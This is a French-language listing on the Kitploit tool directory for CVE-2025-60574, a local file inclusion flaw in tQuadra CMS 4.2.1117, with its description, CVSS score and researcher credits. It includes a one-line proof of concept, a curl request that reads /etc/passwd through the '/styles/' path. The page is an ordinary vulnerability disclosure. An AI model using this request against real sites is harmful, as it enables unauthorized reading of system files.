Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-60574 | Kitploit
Outils/GitHubGitHub/jacopoaugelli/cve-2025-60574
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubjacopoaugelli/cve-2025-60574

CVE-2025-60574

Voir le dépôt
il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Découvreurs de vulnérabilités et auteurs d'exploits

Stefano Andreatta & Jacopo Candido Augelli

CVE-2025-60574

Description de la vulnérabilité

Une vulnérabilité d'inclusion locale de fichier (LFI) a été identifiée dans tQuadra CMS 4.2.1117. Le problème existe dans le chemin "/styles/", qui ne parvient pas à assainir correctement les entrées fournies par l'utilisateur. Un attaquant peut l'exploiter en envoyant une requête GET spécialement conçue pour récupérer des fichiers arbitraires du système sous-jacent.

Découvreurs : Stefano Andreatta & Jacopo Candido Augelli

CVSS 3.1 - 7.5 Élevé

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Preuve de concept

root@kitploit:~
curl -s https://vulnerable.site.com/styles//etc/passwd --output - | gunzip

PoC.png

Télécharger l’outil